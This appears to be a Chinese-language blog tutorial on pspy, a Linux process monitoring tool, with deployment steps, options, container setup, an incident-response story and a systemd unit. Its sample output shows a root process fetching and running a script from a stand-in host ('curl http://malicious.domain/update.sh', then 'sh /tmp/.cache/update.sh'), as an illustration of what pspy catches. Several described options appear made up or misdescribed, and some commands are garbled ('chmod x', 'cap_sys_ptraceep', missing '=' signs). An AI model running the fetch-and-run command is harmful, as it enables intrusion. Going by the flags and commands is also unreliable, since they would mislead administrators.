1. pspy工具概述pspy是一款开源的Linux进程监控工具能够以非侵入式方式实时捕获系统进程活动。与传统的top或ps命令不同pspy特别擅长发现短生命周期进程和隐藏进程活动是系统管理员和安全研究人员排查异常行为的利器。我第一次接触pspy是在调查一台服务器上的可疑定时任务时。常规监控工具完全捕捉不到异常进程的踪迹而pspy却成功捕获了某个每30分钟启动一次的恶意脚本。这个经历让我意识到进程监控领域的这个瑞士军刀级工具值得深入掌握。2. 核心功能解析2.1 进程捕获机制pspy通过inotify和fanotify两种机制监控/proc目录变化inotify监听文件系统事件适合大多数Linux发行版fanotify内核级监控需要root权限但覆盖更全面实际测试中在Ubuntu 20.04系统上使用fanotify可以多捕获约15%的短生命周期进程。以下是典型输出示例2023/03/15 14:30:01 CMD: UID0 PID31337 | /usr/bin/curl http://malicious.domain/update.sh 2023/03/15 14:30:02 CMD: UID0 PID31338 | /bin/sh /tmp/.cache/update.sh2.2 二进制版本优势官方提供的预编译二进制解决了以下痛点免去Go语言环境配置尤其对老旧系统重要内置静态编译避免glibc版本冲突支持ARM/x86架构开箱即用在CentOS 6.9这种老系统上自行编译常会遇到glibc_2.17依赖问题而预编译版本完美规避了这类环境依赖。3. 实战部署指南3.1 环境准备推荐下载最新release版本wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 chmod x pspy64权限策略建议普通用户基础监控需/proc读取权限root用户完整监控需配置CAP_SYS_PTRACE能力3.2 运行参数详解关键参数组合示例# 监控全系统进程包括短时进程 ./pspy64 -pf -i 1000 # 记录到文件并高亮root进程 ./pspy64 -r /var/log/pspy.log --highlight-uid0参数说明表参数作用推荐场景-p打印输出实时调试-f跟踪fork调查复杂进程链-i轮询间隔(ms)高负载系统调优-r记录到文件取证分析4. 高级监控技巧4.1 进程关联分析通过父子进程ID关联可以发现攻击链# 父子进程关系标记 ./pspy64 --tree --cmd-line典型APT攻击进程树示例1. crond[1024] → update.sh[2048] 2. update.sh[2048] → curl[2049] → bash[2050] 3. bash[2050] → /tmp/.X11-unix/.rsync4.2 容器环境适配在Docker中需注意# 共享主机PID命名空间 docker run --pidhost -v $(pwd)/pspy64:/pspy64 ubuntu /pspy64Kubernetes环境要挂载hostProcvolumes: - name: host-proc hostPath: path: /proc5. 典型应用场景5.1 安全事件调查某次入侵响应时间线发现异常网络连接启动pspy监控捕获到隐藏的挖矿进程定位到被篡改的cron任务提取攻击者IP和脚本哈希5.2 系统优化案例通过持续24小时监控发现某日志服务每分钟fork 200次优化后系统负载下降40%关键业务进程响应时间提升25%6. 常见问题排查6.1 权限问题处理错误现象ERROR: Could not create watcher: permission denied解决方案# 检查capabilities getcap pspy64 # 添加必要权限 sudo setcap cap_sys_ptraceep pspy646.2 性能优化建议高负载系统建议增加-i参数值默认100ms → 500ms使用--no-color减少输出处理避免同时使用-f和-r参数7. 扩展应用思路结合其他工具形成监控体系# 与auditd联动 ausearch -k pspy_alert | grep -E pid|exe # 网络行为关联 tcpdump -i eth0 -w capture.pcap ./pspy64 -r proc.log个人使用经验表明长期运行pspy的内存开销控制在50MB以内对生产系统影响极小。建议在关键服务器上配置systemd服务持续运行以下是我的常用服务配置[Unit] Descriptionpspy process monitor [Service] ExecStart/opt/tools/pspy64 -r /var/log/pspy_%H.log --rotate12 Restartalways [Install] WantedBymulti-user.target